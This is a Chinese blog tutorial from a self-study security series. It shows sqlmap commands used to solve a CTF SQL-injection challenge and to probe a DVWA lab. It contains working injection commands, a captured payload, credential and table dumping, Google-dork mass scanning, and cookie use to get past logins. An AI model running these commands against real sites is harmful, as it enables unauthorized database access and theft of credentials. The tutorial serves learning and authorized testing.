这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Shodan搜索引擎的基本用法及Python命令行。本篇文章详细讲解了Sqlmap的基本用法、CTF实战,并且分享了请求参数设置的用法,包括设置HTTP、POST请求、参数分割、设置Cookie等。本文的CTF实例推荐大家自己去尝试,从而熟悉SQLMAP的基本用法。
作者作为网络安全的小白,分享一些自学基础教程给大家,希望你们喜欢。同时,更希望你能与我一起操作深入进步,后续也将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果对您有帮助,将是我最大的鼓励。
PS:本文参考了B站、51CTO学院和参考文献中的文章,并结合自己的经验进行撰写,也推荐大家阅读参考文献。
下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向破解
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
该篇文章参考了以下文献,非常推荐大家阅读这些大牛的文章和视频:
机器学习在安全攻防场景的应用与分析 - 腾讯云FreeBuf官方
https://github.com/eastmountyxz
https://www.bilibili.com/video/av60018118 (B站白帽黑客教程)
https://www.bilibili.com/video/av63038037 (B站HACK学习)
https://www.bilibili.com/video/av68215785 (2019 网络安全/黑客基础课程新手入门必看)
Shodan的使用 - CSDN谢公子大神
2019/Web安全/漏洞挖掘/信息收集/SQLMAP/SSRF/文件上传/逻辑漏洞 (B站强推)
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
Sqlmap
是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。许多适合于终极渗透测试的小众特性和广泛的开发,从数据库指纹、从数据库获取数据到访问底层文件系统和通过带外连接在操作系统上执行命令。
Sqlmap下载
可以从官方网址、Github或Python调用PIP命令实现。
由于Sqlmap是通过Python语言开发完成,也可以安装Python环境,调用Pyhon命令pip install sqlmap安装。
建议大家在官方网站下载类似Sqlmap的软件,否则不知道是否有后门,这里从Github下载如下图所示。
打开CMD,Sqlmap直接在Python中调用。由于Sqlmap使用Python(解释型语言)编写,所以可以直接在命令行中调用Python解释器运行Sqlmap.py。如下图所示,表示运行成功。
python sqlmap.py
查看Sqlmap版本命令如下:
python sqlmap.py --version
查看简要的帮助信息,参数及含义。
python sqlmap.py -h
查询高级帮助信息。
python sqlmap.py -hh
Sqlmap的基本流程如下:
作者这里以“实验吧”的CTF题目作为测试地址,希望读者一定结合这个例子进行尝试,熟悉SQLMAP的基本用法。
测试地址:http://ctf5.shiyanbar.com/web/index_3.php?id=1
网页如下图所示,我们需要通过SQL注入把数据库中的表格flag值获取出来。
这个实例一定推荐大家自己去尝试,熟悉SQLMAP的基本用法。
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs
运行结果如下图所示,获取3个数据库,其中–dbs参数表示databases。
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db
运行结果如下图所示,其中–current-db参数表示当前数据库(MySQL),输出结果:web1。
PS:对应的内容如下所示,LOGO还挺好看的。
C:\Users\yxz\Desktop\sqlmap-master>python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db
___
__H__
___ ___["]_____ ___ ___ {1.3.11.86#dev}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:27:32 /2019-11-21/
[11:27:32] [INFO] resuming back-end DBMS 'mysql'
[11:27:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 2112=2112 AND 'btem'='btem
---
[11:27:33] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.10.2, PHP 5.5.38
back-end DBMS: MySQL 5
[11:27:33] [INFO] fetching current database
[11:27:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:27:33] [INFO] retrieved: web1
current database: 'web1'
[11:27:35] [INFO] fetched data logged to text files under 'C:\Users\yxz\AppData\Local\sqlmap\output\ctf5.shiyanbar.com'
[*] ending @ 11:27:35 /2019-11-21/
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-user
运行结果如下图所示,获取当前数据库用户:web1@localhost。
获取数据库用户和密码的代码如下所示:
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --passwords
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 --tables
运行结果如下图所示,获取数据库web1的所有表,其中-D表示数据库,–tables表示所有表。
输出结果为flag和web_1两张表。
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T web_1 --columns
输出结果如下图所示:
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T flag --columns
输出结果如下图所示:
最终我们需要的结果flag在这个表里。
Database: web1
Table: flag
[3 columns]
+--------+-------------+
| Column | Type |
+--------+-------------+
| flag | non-numeric |
| id | numeric |
| name | non-numeric |
+--------+-------------+
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T flag -C "flag,id,name" --dump
获取的结果如下图所示:
最终的结果为:flag{Y0u_@r3_5O_dAmn_90Od}
[11:56:59] [INFO] retrieved: 1
[11:56:59] [INFO] retrieved: flag{Y0u_@r3_5O_dAmn_90Od}
[11:57:07] [INFO] retrieved: 2
[11:57:08] [INFO] retrieved: baloteli
Database: web1
Table: flag
[1 entry]
+----------------------------+----+----------+
| flag | id | name |
+----------------------------+----+----------+
| flag{Y0u_@r3_5O_dAmn_90Od} | 2 | baloteli |
+----------------------------+----+----------+
如果某网站存在SQL注入漏洞,通过SQLMAP就能:
(1)获取数据库名、用户
(2)获取后台登录表
(3)获取登录表中用户名和密码字段
(4)获取后台管理员的用户名和密码
所以,SQL注入、XSS注入、弱口令这些低级错误是需要各个管理员避免的。
Sqlmap支持直接连接数据库,通过以下命令来直连。
例如:
python sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --banner --dbs --users
获取banner信息和用户信息如下图所示:
Sqlmap直接对单一URL探测,参数使用-u或-url,URL格式:http(s): //target_url[:port]/[…]
还是以CTF目标为例,命令如下:
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --banner
输出结果如下图所示,获取banner信息,检测SQL注入和XSS注入。
返回网站指纹信息,包括MySQL、Apache、PHP、操作系统等。
在某些情况下,不只是对单一URL探测,还需要对HTTP提交参数以及多个URL进行探测,只是用-u参数已经无法满足时,就需要使用更强大的方式从文件中读取目标进行探测。
SQLMAP支持从不同类型的文件中读取目标进行SQL注入探测。
这里以Kali中 DVWA 本地某网站为例,作者只是介绍基本的方法,建议读者下来深入尝试。
首先,在Burpsuite中“Project options”勾选“Proxy”。
勾选之后会弹出对话框,输入“test”点击保存,此时桌面有个test文件。
接着更改代理服务器设置,设置为127.0.0.1,端口号为8080,访问目标网站时,BurpSuite拦截我们的数据。
此时打开某网站,这里以Kali环境中的 DVWA 为例,本地数据会截断获取相关信息。
输出结果如下图所示,查看test有对应的相关信息。
在BurpSuite中点击Forward查看相关信息,可以看到各种请求信息。
接下来再通过SQLMAP调用文件注入检测。test文件复制到SQLMAP目录下,输入命令开始检测,核心命令:
python sqlmap.py -l test
使用这种方式可以探测大量的目标,比单一的探测更加高效。指定多个URL进行探测如下图所示:
python sqlmap.py -c sqlmap.conf
Google黑客批量扫描注入中,Sqlmap通过-g自动利用Google获取指定Google hack的目标,再利用交互向导模式进行Sql注入探测。
例如:
python sqlmap.py -g "inurl:\".php?id=1\""
python sqlmap.py -g "inurl:.php?id=1"
因为不能访问谷歌,所以此时不能正常获取数据。如果能正常访问,则显示如下图所示。
PS:这里不建议大家使用SQLMAP GOOGLE探测,我们需要在授权的情况下去检测目标网站,更好地保护网站或检测网站漏洞,作为白帽子绿色干净的网络需要我们共同维护。
Sqlmap会自动在探测过程中使用合适的HTTP请求方法。但是在某些具体情况下,需要强制使用具体的HTTP请求方法。例如PUT请求方法,HTTP PUT请求方法不会自动使用,因此需要我们强制指定。使用–method=PUT。
这是一个非常重要且常用的功能,并且某些情况下GET容易被识别,POST方法更好。记住这句话,后面的文章会深入实验。
默认情况下,用于执行HTTP请求的HTTP方法是GET,但是您可以通过提供在POST请求中发送的数据隐式地将其更改为POST。这些数据作为这些参数,被用于SQL注入检测。
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
–method=POST 也可以强制POST,但这里使用 –data=“id=1” 注入参数的检测,隐式的将GET方法转换为POST方法。其中,-f 表示fingerprint指纹信息,–banner --dbs --users 用于获取数据库、用户等信息。
假设某网站是POST提交请求,使用GET法获取信息的。这里使用DVWA示例。
接着设置浏览器代理,打开BurpSuite截断数据。
当我们输入用户名和密码后,BurpSuite会截断我们的请求,然后提取其中的请求值。
可以看到截断的请求如下图所示:
Sqlmap中输入指令如下图所示,通过这种方式把GET指定的URL提交修改为POST数据提交,从而探测POST注入。
python sqlmap.py -u "http://192.168.1.100/sqli/Less-11/index.php" --data="uname=admin&passwd=admin&submit=submit" -f --banner --dbs --users
首先返回存在SQL注入的信息,如下图所示:
接着返回对应的指纹信息。
同时输出指定返回的数据库信息、用户信息。
在某些情况下,Sqlmap需要覆盖默认参数分隔符(如& in GET和POST数据),才能正确地分割和单独处理每个参数。例如:提交的数据使用“;”分割,而使用Sqlmap时会报错,需要使用–param指定分隔符。
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
使用&来正确分割这些信息,接着进行SQL注入的检测。
Sqlmap中用来设置Cookie的参数,包括:
--cookie
--cookie-del
--load-cookies
--drop-set-cookie
使用场景:
(1) Web应用程序具有基于Cookie验证的过程。
例如某网站登录后台之后存在注入漏洞,现在用Sqlmap进行检测,设置相应的Cookie,使得每一个Sqlmap探测在HTTP请求中都加入了Cookie值,绕过登录限制。
(2) 利用Cookie值上的SQL注入漏洞。
Sqlmap使用Cookie过程如下:
(1) 登录或浏览页面。
(2) 打开审计工具或代理拦截,复制Cookie。
(3) 在Sqlmap中使用–cookie粘贴Cookie。
这里同样以DVWA为例,打开网页输入URL并登录。
接着通过F12打开工具获取Cookie值。
调用Sqlmap设置Cookie并获取相关信息。注意,这里不加Cookie探测会报302错误,同时这里的Cookie值是需要登录系统之后才能获取的。后续作者会继续学习,希望能分享一些示例。
如果在通信过程中,Web应用程序使用Set-Cookie标头进行响应,Sqlmap将在所有进一步的HTTP请求中自动使用其值作为Cookie标头。Sqlmap还将为SQL注入自动测试这些值。这可以通过提供–drop-set-cookie,Sqlmap将忽略任何即将到来的Set-Cookie头来避免。
反之亦然,如果您提供了一个带有选项的HTTP Cookie报头——Cookie和目标URL在任何时候发送一个HTTP set-Cookie报头,Sqlmap将询问您要以下HTTP请求使用哪组Cookie。load-cookie可以用来提供包含Netscape/wget格式的Cookie的特殊文件。
又忙了16个小时,发现自己网络安全方向的基础非常薄弱,有太多实践知识想学,太多学术论文想看,每天都在忙碌,过程非常艰辛,博士哪有这么好毕业。但是这种苦中带甜,充实的滋味又让我陶醉,还有远方的女神、许多朋友和博友的陪伴。希望未来在网络态势感知、恶意代码检测、嫌疑识别和知识图谱方面能再深入点,多读文献,多找创新,加油。
天行健,君子以自强不息。
地势坤,君子以厚德载物。
最后希望基础性文章对您有所帮助,作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。
三周年快乐,补充一段女神的独白,这也是我写博客的最大动力。
他从来都是钢铁直男,他粗心健忘,不善言辞,不事修饰,不懂浪漫,读不懂你嘴里的“反话”,但他却总是愿意,用心揣摩你每一次喜恶,记录彼此每一个快乐的瞬间,记住每一个值得纪念的日子,学拍照学剪辑学着送你礼物,陪你做任何你想做的事,鼓励你尝试新的爱好,睡前给你倒好热水充上手机,给你写信写日记画漫画……尽管他真的很忙很忙,尽管曾经在学习做一个男票上也曾跌跌撞撞、笑料百出,尽管也曾多少次遭遇误解责怪忍住眼泪,但谢谢你,让我知道真爱一个人的样子,谢谢你,成全我对爱人和婚姻的所有向往!三年,我们成了世界上最了解彼此的人!
谢谢三年前那天你鼓起勇气加了我微信,谢谢你写博客的好习惯,让我短短几天就被你吸引,谢谢我自己的勇敢,从不后悔那晚傻傻向你好白。也许距离远了,每次见面都很难舍。总之,很幸运很幸福,能与你共度余生!
(By:Eastmount 2019-11-21 下午4点 http://blog.csdn.net/eastmount/ )